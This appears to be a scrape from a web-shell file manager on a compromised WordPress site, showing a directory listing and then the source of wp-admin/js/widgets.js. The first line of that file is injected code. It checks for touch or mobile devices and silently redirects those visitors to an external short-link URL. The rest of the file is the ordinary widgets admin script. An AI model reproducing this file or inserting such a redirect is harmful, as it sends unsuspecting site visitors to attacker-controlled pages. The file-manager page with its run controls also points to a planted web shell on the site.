at path:ROOT / wp-admin / js / widgets.js
run:R W Run
DIR
2026-08-24 01:53:39
R W Run
3.08 KB
2026-08-13 20:01:43
R W Run
980 By
2026-08-13 20:01:43
R W Run
6.46 KB
2026-08-13 20:01:43
R W Run
3.17 KB
2026-08-13 20:01:43
R W Run
5.88 KB
2026-08-13 20:01:43
R W Run
2.25 KB
2026-08-13 20:01:43
R W Run
17.76 KB
2026-08-13 20:01:43
R W Run
3.68 KB
2026-08-13 20:01:43
R W Run
9.76 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.07 KB
2026-08-13 20:01:43
R W Run
1.5 KB
2026-08-13 20:01:43
R W Run
61.48 KB
2026-08-13 20:01:43
R W Run
23.42 KB
2026-08-13 20:01:43
R W Run
3.57 KB
2026-08-13 20:01:43
R W Run
1.39 KB
2026-08-13 20:01:43
R W Run
2.19 KB
2026-08-13 20:01:43
R W Run
288.63 KB
2026-08-13 20:01:43
R W Run
109.91 KB
2026-08-13 20:01:43
R W Run
111.68 KB
2026-08-13 20:01:43
R W Run
47.36 KB
2026-08-13 20:01:43
R W Run
70.26 KB
2026-08-13 20:01:43
R W Run
27.62 KB
2026-08-13 20:01:43
R W Run
27.23 KB
2026-08-13 20:01:43
R W Run
8.87 KB
2026-08-13 20:01:43
R W Run
37.46 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
41.82 KB
2026-08-13 20:01:43
R W Run
13.35 KB
2026-08-13 20:01:43
R W Run
44.22 KB
2026-08-13 20:01:43
R W Run
13 KB
2026-08-13 20:01:43
R W Run
7.88 KB
2026-08-13 20:01:43
R W Run
5.63 KB
2026-08-13 20:01:43
R W Run
3.87 KB
2026-08-13 20:01:43
R W Run
40.19 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
20.41 KB
2026-08-13 20:01:43
R W Run
9.58 KB
2026-08-13 20:01:43
R W Run
7.83 KB
2026-08-13 20:01:43
R W Run
3.14 KB
2026-08-13 20:01:43
R W Run
23.31 KB
2026-08-13 20:01:43
R W Run
1.09 KB
2026-08-13 20:01:43
R W Run
645 By
2026-08-13 20:01:43
R W Run
4.98 KB
2026-08-13 20:01:43
R W Run
2.48 KB
2026-08-13 20:01:43
R W Run
1.49 KB
2026-08-13 20:01:43
R W Run
833 By
2026-08-13 20:01:43
R W Run
3.6 KB
2026-08-13 20:01:43
R W Run
1.34 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
2.6 KB
2026-08-13 20:01:43
R W Run
61.37 KB
2026-08-13 20:01:43
R W Run
30.28 KB
2026-08-13 20:01:43
R W Run
4.35 KB
2026-08-13 20:01:43
R W Run
1.31 KB
2026-08-13 20:01:43
R W Run
1.52 KB
2026-08-13 20:01:43
R W Run
1.04 KB
2026-08-13 20:01:43
R W Run
7.14 KB
2026-08-13 20:01:43
R W Run
2.56 KB
2026-08-13 20:01:43
R W Run
39.75 KB
2026-08-13 20:01:43
R W Run
19.17 KB
2026-08-13 20:01:43
R W Run
18.71 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
10.88 KB
2026-08-13 20:01:43
R W Run
5.25 KB
2026-08-13 20:01:43
R W Run
34.13 KB
2026-08-13 20:01:43
R W Run
18.19 KB
2026-08-13 20:01:43
R W Run
1.07 KB
2026-08-13 20:01:43
R W Run
842 By
2026-08-13 20:01:43
R W Run
13.77 KB
2026-08-13 20:01:43
R W Run
6.54 KB
2026-08-13 20:01:43
R W Run
6.31 KB
2026-08-13 20:01:43
R W Run
2.42 KB
2026-08-13 20:01:43
R W Run
3.42 KB
2026-08-13 20:01:43
R W Run
1.75 KB
2026-08-13 20:01:43
R W Run
11.1 KB
2026-08-13 20:01:43
R W Run
3.22 KB
2026-08-13 20:01:43
R W Run
5.85 KB
2026-08-13 20:01:43
R W Run
2.43 KB
2026-08-13 20:01:43
R W Run
6.17 KB
2026-08-13 20:01:43
R W Run
2.63 KB
2026-08-13 20:01:43
R W Run
25.78 KB
2026-08-13 20:01:43
R W Run
12.04 KB
2026-08-13 20:01:43
R W Run
55.16 KB
2026-08-13 20:01:43
R W Run
26.72 KB
2026-08-13 20:01:43
R W Run
109.59 KB
2026-08-13 20:01:43
R W Run
47.52 KB
2026-08-13 20:01:43
R W Run
18.13 KB
2026-08-13 20:01:43
R W Run
8.03 KB
2026-08-13 20:01:43
R W Run
2.46 KB
2026-08-13 20:01:43
R W Run
898 By
2026-08-13 20:01:43
R W Run
22.77 KB
2026-08-13 20:01:43
R W Run
12.53 KB
2026-08-13 20:01:43
R W Run
7.73 KB
2026-08-13 20:01:43
R W Run
1.71 KB
2026-08-13 20:01:43
R W Run
962 By
2026-08-13 20:01:43
R W Run
680 By
2026-08-13 20:01:43
R W Run
error_log
📄widgets.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-admin/js/widgets.js
4 */
5
6/* global ajaxurl, isRtl, wpWidgets */
7
8(function($) {
9 var $document = $( document );
10
11window.wpWidgets = {
12 /**
13 * A closed Sidebar that gets a Widget dragged over it.
14 *
15 * @var {element|null}
16 */
17 hoveredSidebar: null,
18
19 /**
20 * Lookup of which widgets have had change events triggered.
21 *
22 * @var {object}
23 */
24 dirtyWidgets: {},
25
26 init : function() {
27 var rem, the_id,
28 self = this,
29 chooser = $('.widgets-chooser'),
30 selectSidebar = chooser.find('.widgets-chooser-sidebars'),
31 sidebars = $('div.widgets-sortables'),
32 isRTL = !! ( 'undefined' !== typeof isRtl && isRtl );
33
34 // Handle the widgets containers in the right column.
35 $( '#widgets-right .sidebar-name' )
36 /*
37 * Toggle the widgets containers when clicked and update the toggle
38 * button `aria-expanded` attribute value.
39 */
40 .on( 'click', function() {
41 var $this = $( this ),
42 $wrap = $this.closest( '.widgets-holder-wrap '),
43 $toggle = $this.find( '.handlediv' );
44
45 if ( $wrap.hasClass( 'closed' ) ) {
46 $wrap.removeClass( 'closed' );
47 $toggle.attr( 'aria-expanded', 'true' );
48 // Refresh the jQuery UI sortable items.
49 $this.parent().sortable( 'refresh' );
50 } else {
51 $wrap.addClass( 'closed' );
52 $toggle.attr( 'aria-expanded', 'false' );
53 }
54
55 // Update the admin menu "sticky" state.
56 $document.triggerHandler( 'wp-pin-menu' );
57 })
58 /*
59 * Set the initial `aria-expanded` attribute value on the widgets
60 * containers toggle button. The first one is expanded by default.
61 */
62 .find( '.handlediv' ).each( function( index ) {
63 if ( 0 === index ) {
64 // jQuery equivalent of `continue` within an `each()` loop.
65 return;
66 }
67
68 $( this ).attr( 'aria-expanded', 'false' );
69 });
70
71 // Show AYS dialog when there are unsaved widget changes.
72 $( window ).on( 'beforeunload.widgets', function( event ) {
73 var dirtyWidgetIds = [], unsavedWidgetsElements;
74 $.each( self.dirtyWidgets, function( widgetId, dirty ) {
75 if ( dirty ) {
76 dirtyWidgetIds.push( widgetId );
77 }
78 });
79 if ( 0 !== dirtyWidgetIds.length ) {
80 unsavedWidgetsElements = $( '#widgets-right' ).find( '.widget' ).filter( function() {
81 return -1 !== dirtyWidgetIds.indexOf( $( this ).prop( 'id' ).replace( /^widget-\d+_/, '' ) );
82 });
83 unsavedWidgetsElements.each( function() {
84 if ( ! $( this ).hasClass( 'open' ) ) {
85 $( this ).find( '.widget-title-action:first' ).trigger( 'click' );
86 }
87 });
88
89 // Bring the first unsaved widget into view and focus on the first tabbable field.
90 unsavedWidgetsElements.first().each( function() {
91 if ( this.scrollIntoViewIfNeeded ) {
92 this.scrollIntoViewIfNeeded();
93 } else {
94 this.scrollIntoView();
95 }
96 $( this ).find( '.widget-inside :tabbable:first' ).trigger( 'focus' );
97 } );
98
99 event.returnValue = wp.i18n.__( 'The changes you made will be lost if you navigate away from this page.' );
100 return event.returnValue;
101 }
102 });
103
104 // Handle the widgets containers in the left column.
105 $( '#widgets-left .sidebar-name' ).on( 'click', function() {
106 var $wrap = $( this ).closest( '.widgets-holder-wrap' );
107
108 $wrap
109 .toggleClass( 'closed' )
110 .find( '.handlediv' ).attr( 'aria-expanded', ! $wrap.hasClass( 'closed' ) );
111
112 // Update the admin menu "sticky" state.
113 $document.triggerHandler( 'wp-pin-menu' );
114 });
115
116 $(document.body).on('click.widgets-toggle', function(e) {
117 var target = $(e.target), css = {},
118 widget, inside, targetWidth, widgetWidth, margin, saveButton, widgetId,
119 toggleBtn = target.closest( '.widget' ).find( '.widget-top button.widget-action' );
120
121 if ( target.parents('.widget-top').length && ! target.parents('#available-widgets').length ) {
122 widget = target.closest('div.widget');
123 inside = widget.children('.widget-inside');
124 targetWidth = parseInt( widget.find('input.widget-width').val(), 10 );
125 widgetWidth = widget.parent().width();
126 widgetId = inside.find( '.widget-id' ).val();
127
128 // Save button is initially disabled, but is enabled when a field is changed.
129 if ( ! widget.data( 'dirty-state-initialized' ) ) {
130 saveButton = inside.find( '.widget-control-save' );
131 saveButton.prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) );
132 inside.on( 'input change', function() {
133 self.dirtyWidgets[ widgetId ] = true;
134 widget.addClass( 'widget-dirty' );
135 saveButton.prop( 'disabled', false ).val( wp.i18n.__( 'Save' ) );
136 });
137 widget.data( 'dirty-state-initialized', true );
138 }
139
140 if ( inside.is(':hidden') ) {
141 if ( targetWidth > 250 && ( targetWidth + 30 > widgetWidth ) && widget.closest('div.widgets-sortables').length ) {
142 if ( widget.closest('div.widget-liquid-right').length ) {
143 margin = isRTL ? 'margin-right' : 'margin-left';
144 } else {
145 margin = isRTL ? 'margin-left' : 'margin-right';
146 }
147
148 css[ margin ] = widgetWidth - ( targetWidth + 30 ) + 'px';
149 widget.css( css );
150 }
151 /*
152 * Don't change the order of attributes changes and animation:
153 * it's important for screen readers, see ticket #31476.
154 */
155 toggleBtn.attr( 'aria-expanded', 'true' );
156 inside.slideDown( 'fast', function() {
157 widget.addClass( 'open' );
158 });
159 } else {
160 /*
161 * Don't change the order of attributes changes and animation:
162 * it's important for screen readers, see ticket #31476.
163 */
164 toggleBtn.attr( 'aria-expanded', 'false' );
165 inside.slideUp( 'fast', function() {
166 widget.attr( 'style', '' );
167 widget.removeClass( 'open' );
168 });
169 }
170 } else if ( target.hasClass('widget-control-save') ) {
171 wpWidgets.save( target.closest('div.widget'), 0, 1, 0 );
172 e.preventDefault();
173 } else if ( target.hasClass('widget-control-remove') ) {
174 wpWidgets.save( target.closest('div.widget'), 1, 1, 0 );
175 } else if ( target.hasClass('widget-control-close') ) {
176 widget = target.closest('div.widget');
177 widget.removeClass( 'open' );
178 toggleBtn.attr( 'aria-expanded', 'false' );
179 wpWidgets.close( widget );
180 } else if ( target.attr( 'id' ) === 'inactive-widgets-control-remove' ) {
181 wpWidgets.removeInactiveWidgets();
182 e.preventDefault();
183 }
184 });
185
186 sidebars.children('.widget').each( function() {
187 var $this = $(this);
188
189 wpWidgets.appendTitle( this );
190
191 if ( $this.find( 'p.widget-error' ).length ) {
192 $this.find( '.widget-action' ).trigger( 'click' ).attr( 'aria-expanded', 'true' );
193 }
194 });
195
196 $('#widget-list').children('.widget').draggable({
197 connectToSortable: 'div.widgets-sortables',
198 handle: '> .widget-top > .widget-title',
199 distance: 2,
200 helper: 'clone',
201 zIndex: 101,
202 containment: '#wpwrap',
203 refreshPositions: true,
204 start: function( event, ui ) {
205 var chooser = $(this).find('.widgets-chooser');
206
207 ui.helper.find('div.widget-description').hide();
208 the_id = this.id;
209
210 if ( chooser.length ) {
211 // Hide the chooser and move it out of the widget.
212 $( '#wpbody-content' ).append( chooser.hide() );
213 // Delete the cloned chooser from the drag helper.
214 ui.helper.find('.widgets-chooser').remove();
215 self.clearWidgetSelection();
216 }
217 },
218 stop: function() {
219 if ( rem ) {
220 $(rem).hide();
221 }
222
223 rem = '';
224 }
225 });
226
227 /**
228 * Opens and closes previously closed Sidebars when Widgets are dragged over/out of them.
229 */
230 sidebars.droppable( {
231 tolerance: 'intersect',
232
233 /**
234 * Open Sidebar when a Widget gets dragged over it.
235 *
236 * @ignore
237 *
238 * @param {Object} event jQuery event object.
239 */
240 over: function( event ) {
241 var $wrap = $( event.target ).parent();
242
243 if ( wpWidgets.hoveredSidebar && ! $wrap.is( wpWidgets.hoveredSidebar ) ) {
244 // Close the previous Sidebar as the Widget has been dragged onto another Sidebar.
245 wpWidgets.closeSidebar( event );
246 }
247
248 if ( $wrap.hasClass( 'closed' ) ) {
249 wpWidgets.hoveredSidebar = $wrap;
250 $wrap
251 .removeClass( 'closed' )
252 .find( '.handlediv' ).attr( 'aria-expanded', 'true' );
253 }
254
255 $( this ).sortable( 'refresh' );
256 },
257
258 /**
259 * Close Sidebar when the Widget gets dragged out of it.
260 *
261 * @ignore
262 *
263 * @param {Object} event jQuery event object.
264 */
265 out: function( event ) {
266 if ( wpWidgets.hoveredSidebar ) {
267 wpWidgets.closeSidebar( event );
268 }
269 }
270 } );
271
272 sidebars.sortable({
273 placeholder: 'widget-placeholder',
274 items: '> .widget',
275 handle: '> .widget-top > .widget-title',
276 cursor: 'move',
277 distance: 2,
278 containment: '#wpwrap',
279 tolerance: 'pointer',
280 refreshPositions: true,
281 start: function( event, ui ) {
282 var height, $this = $(this),
283 $wrap = $this.parent(),
284 inside = ui.item.children('.widget-inside');
285
286 if ( inside.css('display') === 'block' ) {
287 ui.item.removeClass('open');
288 ui.item.find( '.widget-top button.widget-action' ).attr( 'aria-expanded', 'false' );
289 inside.hide();
290 $(this).sortable('refreshPositions');
291 }
292
293 if ( ! $wrap.hasClass('closed') ) {
294 // Lock all open sidebars min-height when starting to drag.
295 // Prevents jumping when dragging a widget from an open sidebar to a closed sidebar below.
296 height = ui.item.hasClass('ui-draggable') ? $this.height() : 1 + $this.height();
297 $this.css( 'min-height', height + 'px' );
298 }
299 },
300
301 stop: function( event, ui ) {
302 var addNew, widgetNumber, $sidebar, $children, child, item,
303 $widget = ui.item,
304 id = the_id;
305
306 // Reset the var to hold a previously closed sidebar.
307 wpWidgets.hoveredSidebar = null;
308
309 if ( $widget.hasClass('deleting') ) {
310 wpWidgets.save( $widget, 1, 0, 1 ); // Delete widget.
311 $widget.remove();
312 return;
313 }
314
315 addNew = $widget.find('input.add_new').val();
316 widgetNumber = $widget.find('input.multi_number').val();
317
318 $widget.attr( 'style', '' ).removeClass('ui-draggable');
319 the_id = '';
320
321 if ( addNew ) {
322 if ( 'multi' === addNew ) {
323 $widget.html(
324 $widget.html().replace( /<[^<>]+>/g, function( tag ) {
325 return tag.replace( /__i__|%i%/g, widgetNumber );
326 })
327 );
328
329 $widget.attr( 'id', id.replace( '__i__', widgetNumber ) );
330 widgetNumber++;
331
332 $( 'div#' + id ).find( 'input.multi_number' ).val( widgetNumber );
333 } else if ( 'single' === addNew ) {
334 $widget.attr( 'id', 'new-' + id );
335 rem = 'div#' + id;
336 }
337
338 wpWidgets.save( $widget, 0, 0, 1 );
339 $widget.find('input.add_new').val('');
340 $document.trigger( 'widget-added', [ $widget ] );
341 }
342
343 $sidebar = $widget.parent();
344
345 if ( $sidebar.parent().hasClass('closed') ) {
346 $sidebar.parent()
347 .removeClass( 'closed' )
348 .find( '.handlediv' ).attr( 'aria-expanded', 'true' );
349
350 $children = $sidebar.children('.widget');
351
352 // Make sure the dropped widget is at the top.
353 if ( $children.length > 1 ) {
354 child = $children.get(0);
355 item = $widget.get(0);
356
357 if ( child.id && item.id && child.id !== item.id ) {
358 $( child ).before( $widget );
359 }
360 }
361 }
362
363 if ( addNew ) {
364 $widget.find( '.widget-action' ).trigger( 'click' );
365 } else {
366 wpWidgets.saveOrder( $sidebar.attr('id') );
367 }
368 },
369
370 activate: function() {
371 $(this).parent().addClass( 'widget-hover' );
372 },
373
374 deactivate: function() {
375 // Remove all min-height added on "start".
376 $(this).css( 'min-height', '' ).parent().removeClass( 'widget-hover' );
377 },
378
379 receive: function( event, ui ) {
380 var $sender = $( ui.sender );
381
382 // Don't add more widgets to orphaned sidebars.
383 if ( this.id.indexOf('orphaned_widgets') > -1 ) {
384 $sender.sortable('cancel');
385 return;
386 }
387
388 // If the last widget was moved out of an orphaned sidebar, close and remove it.
389 if ( $sender.attr('id').indexOf('orphaned_widgets') > -1 && ! $sender.children('.widget').length ) {
390 $sender.parents('.orphan-sidebar').slideUp( 400, function(){ $(this).remove(); } );
391 }
392 }
393 }).sortable( 'option', 'connectWith', 'div.widgets-sortables' );
394
395 $('#available-widgets').droppable({
396 tolerance: 'pointer',
397 accept: function(o){
398 return $(o).parent().attr('id') !== 'widget-list';
399 },
400 drop: function(e,ui) {
401 ui.draggable.addClass('deleting');
402 $('#removing-widget').hide().children('span').empty();
403 },
404 over: function(e,ui) {
405 ui.draggable.addClass('deleting');
406 $('div.widget-placeholder').hide();
407
408 if ( ui.draggable.hasClass('ui-sortable-helper') ) {
409 $('#removing-widget').show().children('span')
410 .html( ui.draggable.find( 'div.widget-title' ).children( 'h3' ).html() );
411 }
412 },
413 out: function(e,ui) {
414 ui.draggable.removeClass('deleting');
415 $('div.widget-placeholder').show();
416 $('#removing-widget').hide().children('span').empty();
417 }
418 });
419
420 // Area Chooser.
421 $( '#widgets-right .widgets-holder-wrap' ).each( function( index, element ) {
422 var $element = $( element ),
423 name = $element.find( '.sidebar-name h2' ).text() || '',
424 ariaLabel = $element.find( '.sidebar-name' ).data( 'add-to' ),
425 id = $element.find( '.widgets-sortables' ).attr( 'id' ),
426 li = $( '<li>' ),
427 button = $( '<button>', {
428 type: 'button',
429 'aria-pressed': 'false',
430 'class': 'widgets-chooser-button',
431 'aria-label': ariaLabel
432 } ).text( name.toString().trim() );
433
434 li.append( button );
435
436 if ( index === 0 ) {
437 li.addClass( 'widgets-chooser-selected' );
438 button.attr( 'aria-pressed', 'true' );
439 }
440
441 selectSidebar.append( li );
442 li.data( 'sidebarId', id );
443 });
444
445 $( '#available-widgets .widget .widget-top' ).on( 'click.widgets-chooser', function() {
446 var $widget = $( this ).closest( '.widget' ),
447 toggleButton = $( this ).find( '.widget-action' ),
448 chooserButtons = selectSidebar.find( '.widgets-chooser-button' );
449
450 if ( $widget.hasClass( 'widget-in-question' ) || $( '#widgets-left' ).hasClass( 'chooser' ) ) {
451 toggleButton.attr( 'aria-expanded', 'false' );
452 self.closeChooser();
453 } else {
454 // Open the chooser.
455 self.clearWidgetSelection();
456 $( '#widgets-left' ).addClass( 'chooser' );
457 // Add CSS class and insert the chooser after the widget description.
458 $widget.addClass( 'widget-in-question' ).children( '.widget-description' ).after( chooser );
459 // Open the chooser with a slide down animation.
460 chooser.slideDown( 300, function() {
461 // Update the toggle button aria-expanded attribute after previous DOM manipulations.
462 toggleButton.attr( 'aria-expanded', 'true' );
463 });
464
465 chooserButtons.on( 'click.widgets-chooser', function() {
466 selectSidebar.find( '.widgets-chooser-selected' ).removeClass( 'widgets-chooser-selected' );
467 chooserButtons.attr( 'aria-pressed', 'false' );
468 $( this )
469 .attr( 'aria-pressed', 'true' )
470 .closest( 'li' ).addClass( 'widgets-chooser-selected' );
471 } );
472 }
473 });
474
475 // Add event handlers.
476 chooser.on( 'click.widgets-chooser', function( event ) {
477 var $target = $( event.target );
478
479 if ( $target.hasClass('button-primary') ) {
480 self.addWidget( chooser );
481 self.closeChooser();
482 } else if ( $target.hasClass( 'widgets-chooser-cancel' ) ) {
483 self.closeChooser();
484 }
485 }).on( 'keyup.widgets-chooser', function( event ) {
486 if ( event.which === $.ui.keyCode.ESCAPE ) {
487 self.closeChooser();
488 }
489 });
490 },
491
492 saveOrder : function( sidebarId ) {
493 var data = {
494 action: 'widgets-order',
495 savewidgets: $('#_wpnonce_widgets').val(),
496 sidebars: []
497 };
498
499 if ( sidebarId ) {
500 $( '#' + sidebarId ).find( '.spinner:first' ).addClass( 'is-active' );
501 }
502
503 $('div.widgets-sortables').each( function() {
504 if ( $(this).sortable ) {
505 data['sidebars[' + $(this).attr('id') + ']'] = $(this).sortable('toArray').join(',');
506 }
507 });
508
509 $.post( ajaxurl, data, function() {
510 $( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
511 $( '.spinner' ).removeClass( 'is-active' );
512 });
513 },
514
515 save : function( widget, del, animate, order ) {
516 var self = this, data, a,
517 sidebarId = widget.closest( 'div.widgets-sortables' ).attr( 'id' ),
518 form = widget.find( 'form' ),
519 isAdd = widget.find( 'input.add_new' ).val();
520
521 if ( ! del && ! isAdd && form.prop( 'checkValidity' ) && ! form[0].checkValidity() ) {
522 return;
523 }
524
525 data = form.serialize();
526
527 widget = $(widget);
528 $( '.spinner', widget ).addClass( 'is-active' );
529
530 a = {
531 action: 'save-widget',
532 savewidgets: $('#_wpnonce_widgets').val(),
533 sidebar: sidebarId
534 };
535
536 if ( del ) {
537 a.delete_widget = 1;
538 }
539
540 data += '&' + $.param(a);
541
542 $.post( ajaxurl, data, function(r) {
543 var id = $('input.widget-id', widget).val();
544
545 if ( del ) {
546 if ( ! $('input.widget_number', widget).val() ) {
547 $('#available-widgets').find('input.widget-id').each(function(){
548 if ( $(this).val() === id ) {
549 $(this).closest('div.widget').show();
550 }
551 });
552 }
553
554 if ( animate ) {
555 order = 0;
556 widget.slideUp( 'fast', function() {
557 $( this ).remove();
558 wpWidgets.saveOrder();
559 delete self.dirtyWidgets[ id ];
560 });
561 } else {
562 widget.remove();
563 delete self.dirtyWidgets[ id ];
564
565 if ( sidebarId === 'wp_inactive_widgets' ) {
566 $( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
567 }
568 }
569 } else {
570 $( '.spinner' ).removeClass( 'is-active' );
571 if ( r && r.length > 2 ) {
572 $( 'div.widget-content', widget ).html( r );
573 wpWidgets.appendTitle( widget );
574
575 // Re-disable the save button.
576 widget.find( '.widget-control-save' ).prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) );
577
578 widget.removeClass( 'widget-dirty' );
579
580 // Clear the dirty flag from the widget.
581 delete self.dirtyWidgets[ id ];
582
583 $document.trigger( 'widget-updated', [ widget ] );
584
585 if ( sidebarId === 'wp_inactive_widgets' ) {
586 $( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
587 }
588 }
589 }
590
591 if ( order ) {
592 wpWidgets.saveOrder();
593 }
594 });
595 },
596
597 removeInactiveWidgets : function() {
598 var $element = $( '.remove-inactive-widgets' ), self = this, a, data;
599
600 $( '.spinner', $element ).addClass( 'is-active' );
601
602 a = {
603 action : 'delete-inactive-widgets',
604 removeinactivewidgets : $( '#_wpnonce_remove_inactive_widgets' ).val()
605 };
606
607 data = $.param( a );
608
609 $.post( ajaxurl, data, function() {
610 $( '#wp_inactive_widgets .widget' ).each(function() {
611 var $widget = $( this );
612 delete self.dirtyWidgets[ $widget.find( 'input.widget-id' ).val() ];
613 $widget.remove();
614 });
615 $( '#inactive-widgets-control-remove' ).prop( 'disabled', true );
616 $( '.spinner', $element ).removeClass( 'is-active' );
617 } );
618 },
619
620 appendTitle : function(widget) {
621 var title = $('input[id*="-title"]', widget).val() || '';
622
623 if ( title ) {
624 title = ': ' + title.replace(/<[^<>]+>/g, '').replace(/</g, '&lt;').replace(/>/g, '&gt;');
625 }
626
627 $(widget).children('.widget-top').children('.widget-title').children()
628 .children('.in-widget-title').html(title);
629
630 },
631
632 close : function(widget) {
633 widget.children('.widget-inside').slideUp('fast', function() {
634 widget.attr( 'style', '' )
635 .find( '.widget-top button.widget-action' )
636 .attr( 'aria-expanded', 'false' )
637 .focus();
638 });
639 },
640
641 addWidget: function( chooser ) {
642 var widget, widgetId, add, n, viewportTop, viewportBottom, sidebarBounds,
643 sidebarId = chooser.find( '.widgets-chooser-selected' ).data('sidebarId'),
644 sidebar = $( '#' + sidebarId );
645
646 widget = $('#available-widgets').find('.widget-in-question').clone();
647 widgetId = widget.attr('id');
648 add = widget.find( 'input.add_new' ).val();
649 n = widget.find( 'input.multi_number' ).val();
650
651 // Remove the cloned chooser from the widget.
652 widget.find('.widgets-chooser').remove();
653
654 if ( 'multi' === add ) {
655 widget.html(
656 widget.html().replace( /<[^<>]+>/g, function(m) {
657 return m.replace( /__i__|%i%/g, n );
658 })
659 );
660
661 widget.attr( 'id', widgetId.replace( '__i__', n ) );
662 n++;
663 $( '#' + widgetId ).find('input.multi_number').val(n);
664 } else if ( 'single' === add ) {
665 widget.attr( 'id', 'new-' + widgetId );
666 $( '#' + widgetId ).hide();
667 }
668
669 // Open the widgets container.
670 sidebar.closest( '.widgets-holder-wrap' )
671 .removeClass( 'closed' )
672 .find( '.handlediv' ).attr( 'aria-expanded', 'true' );
673
674 sidebar.append( widget );
675 sidebar.sortable('refresh');
676
677 wpWidgets.save( widget, 0, 0, 1 );
678 // No longer "new" widget.
679 widget.find( 'input.add_new' ).val('');
680
681 $document.trigger( 'widget-added', [ widget ] );
682
683 /*
684 * Check if any part of the sidebar is visible in the viewport. If it is, don't scroll.
685 * Otherwise, scroll up to so the sidebar is in view.
686 *
687 * We do this by comparing the top and bottom, of the sidebar so see if they are within
688 * the bounds of the viewport.
689 */
690 viewportTop = $(window).scrollTop();
691 viewportBottom = viewportTop + $(window).height();
692 sidebarBounds = sidebar.offset();
693
694 sidebarBounds.bottom = sidebarBounds.top + sidebar.outerHeight();
695
696 if ( viewportTop > sidebarBounds.bottom || viewportBottom < sidebarBounds.top ) {
697 $( 'html, body' ).animate({
698 scrollTop: sidebarBounds.top - 130
699 }, 200 );
700 }
701
702 window.setTimeout( function() {
703 // Cannot use a callback in the animation above as it fires twice,
704 // have to queue this "by hand".
705 widget.find( '.widget-title' ).trigger('click');
706 // At the end of the animation, announce the widget has been added.
707 window.wp.a11y.speak( wp.i18n.__( 'Widget has been added to the selected sidebar' ), 'assertive' );
708 }, 250 );
709 },
710
711 closeChooser: function() {
712 var self = this,
713 widgetInQuestion = $( '#available-widgets .widget-in-question' );
714
715 $( '.widgets-chooser' ).slideUp( 200, function() {
716 $( '#wpbody-content' ).append( this );
717 self.clearWidgetSelection();
718 // Move focus back to the toggle button.
719 widgetInQuestion.find( '.widget-action' ).attr( 'aria-expanded', 'false' ).focus();
720 });
721 },
722
723 clearWidgetSelection: function() {
724 $( '#widgets-left' ).removeClass( 'chooser' );
725 $( '.widget-in-question' ).removeClass( 'widget-in-question' );
726 },
727
728 /**
729 * Closes a Sidebar that was previously closed, but opened by dragging a Widget over it.
730 *
731 * Used when a Widget gets dragged in/out of the Sidebar and never dropped.
732 *
733 * @param {Object} event jQuery event object.
734 */
735 closeSidebar: function( event ) {
736 this.hoveredSidebar
737 .addClass( 'closed' )
738 .find( '.handlediv' ).attr( 'aria-expanded', 'false' );
739
740 $( event.target ).css( 'min-height', '' );
741 this.hoveredSidebar = null;
742 }
743};
744
745$( function(){ wpWidgets.init(); } );
746
747})(jQuery);
748
749/**
750 * Removed in 5.5.0, needed for back-compatibility.
751 *
752 * @since 4.9.0
753 * @deprecated 5.5.0
754 *
755 * @type {object}
756*/
757wpWidgets.l10n = wpWidgets.l10n || {
758 save: '',
759 saved: '',
760 saveAlert: '',
761 widgetAdded: ''
762};
763
764wpWidgets.l10n = window.wp.deprecateL10nObject( 'wpWidgets.l10n', wpWidgets.l10n, '5.5.0' );
765